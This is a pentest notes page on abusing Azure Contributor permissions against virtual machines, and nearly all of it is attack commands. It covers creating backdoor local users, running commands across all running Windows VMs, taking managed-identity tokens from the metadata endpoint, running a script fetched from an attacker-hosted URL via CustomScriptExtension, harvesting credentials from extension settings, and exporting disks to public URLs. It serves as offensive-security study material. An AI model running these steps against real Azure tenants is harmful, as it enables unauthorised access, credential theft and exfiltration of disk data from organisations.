oscp/Necronomicon/Cloud/Azure/Contributor Permissions/IaaS Exploitation.md

• Create a local user on a VM
  • Using Azure CLI
    • az vm user update -u username -p password -n <VM_Name> -g <Resource_Group>
  • Using PowerShell
    • Get-AzVM
    • Set-AzVMAccessExtension -ResourceGroupName "<Resource_Group>" -Location "<Location>" -VMName "<VM_Name>" -Name "<Extension_Name>" -TypeHandlerVersion "2.4" -UserName "<Username>" -Password "<Password>"
    • OR
    • Set-AzVMAccessExtension -ResourceGroupName "PENTEST-RG" -VMName "winvm01" -Credential (get-credential) -typeHandlerVersion "2.0" -Name VMAccessAgent
• Authenticate to VMs with local credentials
  • With RDP
    • Get-AzPublicIpAddress -Name winvm01* | Select IpAddress
      • If the VM does not have a public IP or RDP is not listening, Contributor permissions can be used to expose the service (MAJOR RISK)
  • With Run Command (using VM agent)
    • List out running Windows VMs and cast to the VMs variable
      • $VMs = Get-AzVM -Status | where {($_.PowerState -EQ "VM running") -and ($_.StorageProfile.OSDisk.OSType -eq "Windows")}
    • Pass VMs to Invoke-AzVMRunCommand
      • $VMs | Invoke-AzVMRunCommand -CommandId 'RunPowerShellScript' -ScriptPath .\whoami.ps1
        • Can use indices of VMs variable to pass commands to only select VMs rather than all of them (eg. $VMs[0])
  • From Azure REST APIs (useful especially for using a token to a managed identity)
    • Obtain an access token (from a VM with a managed identity)
      • curl -H Metadata:true -s 'http://169.254.169.254/metadata/identity/oauth2/token?apiversion=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' | jq
    • Execute commands (PowerShell)
      • $mgmtToken = "TOKEN GOES HERE"
      • Invoke-AzVMCommandREST -commandToExecute "whoami > test.txt" -managementToken $mgmtToken 204cce89-27de-4669-a48b-04c27255e05e
• Execute script with VM extensions
  • Host the script at some URI, then execute this:
    • Set-AzVMCustomScriptExtension -ResourceGroupName TEST -VMName PentestVM -Location westcentralus -FileUri 'http://attacker.webserver.com/whoami.ps1' -Run 'whoami.ps1' -Name CustomScriptExtension
  • Attacking Azure with Custom Script Extensions (netspi.com)
• Credential Harvesting
  • VM extension settings
    • Domain join extension
      • Microburst - Get-AzureVMExtentionSettings
      • PowerShell ISE can store old scripts/credentials
      • Decrypting Azure VM Extension Settings with Get-AzureVMExtensionSettings (netspi.com)
  • Disk Export and Snapshot Export
    • Can export a disk and generate a temp URL to download it (only for disks not attached to running VMs)
    • For disks attached to VMs, create a snapshot and then export that.
    • If encrypted, you'll need a key from the key vault
    • PowerZure
      • Get list of all unattached VM disks
        • Get-AzDisk | Where-Object {$_.DiskState -ne "Attached"} | Select Name, DiskState, Encryption
      • Generate a public URL to export the disk
        • Get-AzureVMDisk -DiskName <DISK_NAME_FROM_STEP_4>